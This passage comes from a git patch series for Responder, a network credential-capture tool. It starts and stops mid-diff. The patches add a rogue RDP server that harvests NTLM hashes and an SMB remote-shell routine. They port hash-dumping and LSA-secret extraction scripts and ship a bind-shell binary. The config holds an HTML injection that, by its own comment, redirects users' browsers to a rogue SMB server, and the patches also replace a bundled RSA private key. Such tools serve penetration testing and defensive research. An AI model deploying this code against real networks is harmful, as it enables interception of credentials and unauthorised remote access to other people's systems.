flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) t = SMBSessEmpty() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -520,7 +520,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): ## Tree Connect if data[8:10] == "\x73\x00": GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. - head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$") t.calculate() packet1 = str(head)+str(t) From 80aa96429410c13a26cb0618217ff8f4f0ba8c42 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Mon, 4 Feb 2019 11:46:08 +0100 Subject: [PATCH 032/219] FindSMB2UPTime: properly deal with servers not disclosing their boot time --- tools/FindSMB2UPTime.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/tools/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py index c39cce5..d912cca 100755 --- a/tools/FindSMB2UPTime.py +++ b/tools/FindSMB2UPTime.py @@ -25,12 +25,18 @@ from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq def GetBootTime(data): Filetime = int(struct.unpack(' Date: Fri, 8 Feb 2019 09:08:24 +0100 Subject: [PATCH 033/219] Fix socket timeout on HTTP POST requests Remaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0. We want to check for Content-Length header only if we received full header. --- servers/HTTP.py | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/servers/HTTP.py b/servers/HTTP.py index 228e868..2d553a1 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -278,21 +278,20 @@ class HTTP(BaseRequestHandler): break data += buff remaining -= len(buff) - if remaining <= 0: - break #check if we recieved the full header if data.find('\r\n\r\n') != -1: #we did, now to check if there was anything else in the request besides the header if data.find('Content-Length') == -1: #request contains only header break - else: - #searching for that content-length field in the header - for line in data.split('\r\n'): - if line.find('Content-Length') != -1: - line = line.strip() - remaining = int(line.split(':')[1].strip()) - len(data) - + else: + #searching for that content-length field in the header + for line in data.split('\r\n'): + if line.find('Content-Length') != -1: + line = line.strip() + remaining = int(line.split(':')[1].strip()) - len(data) + if remaining <= 0: + break if data == "": break #now the data variable has the full request From c52843a5359a143c5a94a74c095d6ac4679cd4b1 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 17 Aug 2019 16:31:34 -0300 Subject: [PATCH 034/219] Added RDP rogue server --- Responder.conf | 1 + Responder.py | 4 + certs/gen-self-signed-cert.sh | 0 certs/responder.crt | 32 ++++---- certs/responder.key | 50 ++++++------ packets.py | 145 ++++++++++++++++++++++++++++++++++ servers/RDP.py | 134 +++++++++++++++++++++++++++++++ settings.py | 3 +- utils.py | 1 + 9 files changed, 328 insertions(+), 42 deletions(-) mode change 100755 => 100644 certs/gen-self-signed-cert.sh create mode 100644 servers/RDP.py diff --git a/Responder.conf b/Responder.conf index b34d9a1..06f23b4 100644 --- a/Responder.conf +++ b/Responder.conf @@ -3,6 +3,7 @@ ; Servers to start SQL = On SMB = On +RDP = On Kerberos = On FTP = On POP = On diff --git a/Responder.py b/Responder.py index ca3e5d7..8c27eac 100755 --- a/Responder.py +++ b/Responder.py @@ -244,6 +244,10 @@ def main(): from servers.HTTP import HTTP threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,))) + if settings.Config.RDP_On_Off: + from servers.RDP import RDP + threads.append(Thread(target=serve_thread_tcp, args=('', 3389, RDP,))) + if settings.Config.WPAD_On_Off: from servers.HTTP_Proxy import HTTP_Proxy threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,))) diff --git a/certs/gen-self-signed-cert.sh b/certs/gen-self-signed-cert.sh old mode 100755 new mode 100644 diff --git a/certs/responder.crt b/certs/responder.crt index 86d9172..a73bf2b 100644 --- a/certs/responder.crt +++ b/certs/responder.crt @@ -1,18 +1,18 @@ -----BEGIN CERTIFICATE----- -MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw -NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC -AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k -sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP -2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC -6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg -WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF -N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU -YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm -6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 -YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 -koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 -4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw -YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW -HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v -u0/CRCN/lg== +MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL +BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG +SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd +0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK +czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/ +V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb +to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o +qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR +MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9 +sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA +A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx +jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4 +p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5 +v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH +Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm +iKqwycWcwlFFUDbwBuOyfbfwjtUf -----END CERTIFICATE----- diff --git a/certs/responder.key b/certs/responder.key index f112a74..0b643da 100644 --- a/certs/responder.key +++ b/certs/responder.key @@ -1,27 +1,27 @@ -----BEGIN RSA PRIVATE KEY----- -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 -----END RSA PRIVATE KEY----- diff --git a/packets.py b/packets.py index 79794f5..7385291 100644 --- a/packets.py +++ b/packets.py @@ -1633,3 +1633,148 @@ class SMB2NegoDataReq(Packet): ("StrType2","\x02"), ("dialect2", "SMB 2.???\x00"), ]) +###################RDP Packets################################ +class TPKT(Packet): + fields = OrderedDict([ + ("Version", "\x03"), + ("Reserved", "\x00"), + ("Length", "\x00\x24" ), + ("Data", ""), + ]) + + def calculate(self): + self.fields["Length"] = struct.pack(">h",len(str(self.fields["Data"]))+4)#Data+own header. + +class X224(Packet): + fields = OrderedDict([ + ("Length", "\x0e"), + ("Cmd", "\xd0"), + ("Dstref", "\x00\x00"), + ("Srcref", "\x12\x34"), + ("Class", "\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Length"] = struct.pack(">B",len(str(self.fields["Data"]))+6) + + +class RDPNEGOAnswer(Packet): + fields = OrderedDict([ + ("Cmd", "\x02"), + ("Flags", "\x00"), + ("Length", "\x08\x00"), + ("SelectedProto", "\x02\x00\x00\x00"),#CredSSP + ]) + + def calculate(self): + self.fields["Length"] = struct.pack("B + ("PacketStartASNTag0", "\xa0"), + ("PacketStartASNTag0Len", "\x03"), #Static for TSVersion + ("PacketStartASNTag0Len2", "\x02"), + ("PacketStartASNTag0Len3", "\x01"), + ("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7.. + ("ParserHeadASNID1", "\xa1"), + ("ParserHeadASNLenOfLen1", "\x81"), + ("ParserHeadASNLen1", "\xfa"),#... +12 + ("MessageIDASNID", "\x30"), + ("MessageIDASNLen", "\x81"), + ("MessageIDASNLen2", "\xf7"),#... +9 + ("OpHeadASNID", "\x30"), + ("OpHeadASNIDLenOfLen", "\x81"), + ("OpHeadASNIDLen", "\xf4"),#... +6 + ("StatusASNID", "\xa0"), + ("MatchedDN", "\x81"), + ("ASNLen01", "\xf1"),#NTLM len +3 + ("SequenceHeader", "\x04"), + ("SequenceHeaderLenOfLen", "\x81"), + ("SequenceHeaderLen", "\xee"), #done + ####### + ("NTLMSSPSignature", "NTLMSSP"), + ("NTLMSSPSignatureNull", "\x00"), + ("NTLMSSPMessageType", "\x02\x00\x00\x00"), + ("NTLMSSPNtWorkstationLen", "\x1e\x00"), + ("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"), + ("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"), + ("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"), + ("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"), + ("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("NTLMSSPNtTargetInfoLen", "\x94\x00"), + ("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"), + ("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"), + ("NegTokenInitSeqMechMessageVersionHigh", "\x05"), + ("NegTokenInitSeqMechMessageVersionLow", "\x02"), + ("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"), + ("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"), + ("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"), + ("NTLMSSPNtWorkstationName", "RDP12"), + ("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"), + ("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"), + ("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "RDP12"), + ("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"), + ("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"), + ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "RDP12"), + ("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"), + ("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"), + ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "RDP12"), + ("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"), + ("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"), + ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "RPD12"), + ("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"), + ("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"), + ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "RDP12"), + ("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"), + ("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"), + ]) + + def calculate(self): + + ###### Convert strings to Unicode first + self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') + self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') + + ###### Workstation Offset + CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) + ###### AvPairs Offset + CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) + + ###### RDP Packet Len + NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs + + ##### RDP Len Calculation: + + self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) + self.fields["ASNLen01"] = struct.pack(">B", len(NTLMMessageLen)+3) + self.fields["OpHeadASNIDLen"] = struct.pack(">B", len(NTLMMessageLen)+6) + self.fields["MessageIDASNLen2"] = struct.pack(">B", len(NTLMMessageLen)+9) + self.fields["ParserHeadASNLen1"] = struct.pack(">B", len(NTLMMessageLen)+12) + self.fields["PacketStartASNStr"] = struct.pack(">B", len(NTLMMessageLen)+20) + + ##### Workstation Offset Calculation: + self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack(". +from SocketServer import BaseRequestHandler +from utils import * +from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer +import struct +import re +import ssl + +cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) +key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + +def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2 + SSPIStart = data.find('NTLMSSP') + SSPIString = data[SSPIStart:] + LMhashLen = struct.unpack(' 60: + NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + DomainLen = struct.unpack(' Date: Thu, 9 Jan 2020 14:47:56 -0300 Subject: [PATCH 035/219] Added py3 and py2 compatibility + many bugfix --- DumpHash.py | 8 +- Report.py | 12 +- Responder.conf | 6 +- Responder.py | 94 ++-- files/BindShell.exe | Bin fingerprint.py | 38 +- odict.py | 58 ++- packets.py | 482 +++++++++--------- poisoners/LLMNR.py | 117 +++-- poisoners/MDNS.py | 61 ++- poisoners/NBTNS.py | 60 +-- servers/Browser.py | 105 ++-- servers/DNS.py | 29 +- servers/FTP.py | 22 +- servers/HTTP.py | 114 +++-- servers/HTTP_Proxy.py | 68 +-- servers/IMAP.py | 29 +- servers/Kerberos.py | 116 +++-- servers/LDAP.py | 87 ++-- servers/MSSQL.py | 96 ++-- servers/POP3.py | 24 +- servers/Proxy_Auth.py | 103 ++-- servers/RDP.py | 62 ++- servers/SMB.py | 274 +++++----- servers/SMTP.py | 36 +- settings.py | 73 +-- tools/BrowserListener.py | 144 +++--- tools/DHCP.py | 453 ++++++++-------- tools/FindSMB2UPTime.py | 26 +- tools/FindSQLSrv.py | 28 +- tools/Icmp-Redirect.py | 26 +- tools/MultiRelay/creddump/.gitignore | 120 +++++ tools/MultiRelay/creddump/CHANGELOG | 2 +- tools/MultiRelay/creddump/README.md | 182 +++++++ tools/MultiRelay/creddump/cachedump.py | 23 +- .../creddump/framework/addrspace.py | 52 +- tools/MultiRelay/creddump/framework/newobj.py | 133 ++--- tools/MultiRelay/creddump/framework/object.py | 88 ++-- tools/MultiRelay/creddump/framework/types.py | 82 +-- .../creddump/framework/win32/domcachedump.py | 54 +- .../creddump/framework/win32/hashdump.py | 325 +++++++----- .../creddump/framework/win32/lsasecrets.py | 126 +++-- .../creddump/framework/win32/rawreg.py | 10 +- tools/MultiRelay/creddump/lsadump.py | 44 +- tools/MultiRelay/creddump/pwdump.py | 4 +- tools/RunFinger.py | 269 +++++----- tools/RunFingerPackets.py | 166 +++--- tools/odict.py | 64 +-- utils.py | 234 +++++---- 49 files changed, 2771 insertions(+), 2058 deletions(-) mode change 100644 => 100755 files/BindShell.exe create mode 100644 tools/MultiRelay/creddump/.gitignore create mode 100644 tools/MultiRelay/creddump/README.md mode change 100644 => 100755 tools/MultiRelay/creddump/cachedump.py mode change 100644 => 100755 tools/MultiRelay/creddump/lsadump.py diff --git a/DumpHash.py b/DumpHash.py index 016ca15..0e383d7 100755 --- a/DumpHash.py +++ b/DumpHash.py @@ -39,11 +39,11 @@ def GetResponderCompleteNTLMv1Hash(cursor): return Output cursor = DbConnect() -print "Dumping NTLMV2 hashes:" +print("Dumping NTLMV2 hashes:") v2 = GetResponderCompleteNTLMv2Hash(cursor) DumpHashToFile("DumpNTLMv2.txt", v2) -print v2 -print "\nDumping NTLMv1 hashes:" +print(v2) +print("\nDumping NTLMv1 hashes:") v1 = GetResponderCompleteNTLMv1Hash(cursor) DumpHashToFile("DumpNTLMv1.txt", v1) -print v1 +print(v1) diff --git a/Report.py b/Report.py index a312a87..7cd5e86 100755 --- a/Report.py +++ b/Report.py @@ -39,7 +39,7 @@ def GetResponderData(cursor): def GetResponderUsernamesStatistic(cursor): res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder") for row in res.fetchall(): - print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1) + print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)) def GetResponderUsernames(cursor): res = cursor.execute("SELECT DISTINCT user FROM Responder") @@ -66,7 +66,7 @@ def GetUniqueLookups(cursor): def GetStatisticUniqueLookups(cursor): res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)") for row in res.fetchall(): - print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1) + print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)) def SavePoisonersToDb(result): @@ -82,13 +82,13 @@ def SaveToDb(result): result[k] = '' cursor = DbConnect() -print color("[+] Generating report...", code = 3, modifier = 1) -print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1) +print(color("[+] Generating report...", code = 3, modifier = 1)) +print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) GetUniqueLookups(cursor) GetStatisticUniqueLookups(cursor) -print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1) +print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)) GetResponderUsernames(cursor) -print color("\n[+] Username details:", code = 2, modifier = 1) +print(color("\n[+] Username details:", code = 2, modifier = 1)) GetResponderUsernamesWithDetails(cursor) GetResponderUsernamesStatistic(cursor) #print color("\n[+] Captured hashes:", code = 2, modifier = 1) diff --git a/Responder.conf b/Responder.conf index 06f23b4..fc17d62 100644 --- a/Responder.conf +++ b/Responder.conf @@ -40,11 +40,11 @@ RespondTo = ; Specific NBT-NS/LLMNR names to respond to (default = All) ; Example: RespondTo = WPAD, DEV, PROD, SQLINT +;RespondToName = WPAD, DEV, PROD, SQLINT RespondToName = - ; Specific IP Addresses not to respond to (default = None) ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 -DontRespondTo = +DontRespondTo = ; Specific NBT-NS/LLMNR names not to respond to (default = None) ; Example: DontRespondTo = NAC, IPS, IDS @@ -91,7 +91,7 @@ WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || sh ; HTML answer to inject in HTTP responses (before tag). ; Set to an empty string to disable. ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. -HTMLToInject = Loading +HTMLToInject = Loading [HTTPS Server] diff --git a/Responder.py b/Responder.py index 8c27eac..15bea42 100755 --- a/Responder.py +++ b/Responder.py @@ -16,8 +16,10 @@ # along with this program. If not, see . import optparse import ssl - -from SocketServer import TCPServer, UDPServer, ThreadingMixIn +try: + from SocketServer import TCPServer, UDPServer, ThreadingMixIn +except: + from socketserver import TCPServer, UDPServer, ThreadingMixIn from threading import Thread from utils import * import struct @@ -45,10 +47,10 @@ parser.add_option('-v','--verbose', action="store_true", help="Increase v options, args = parser.parse_args() if 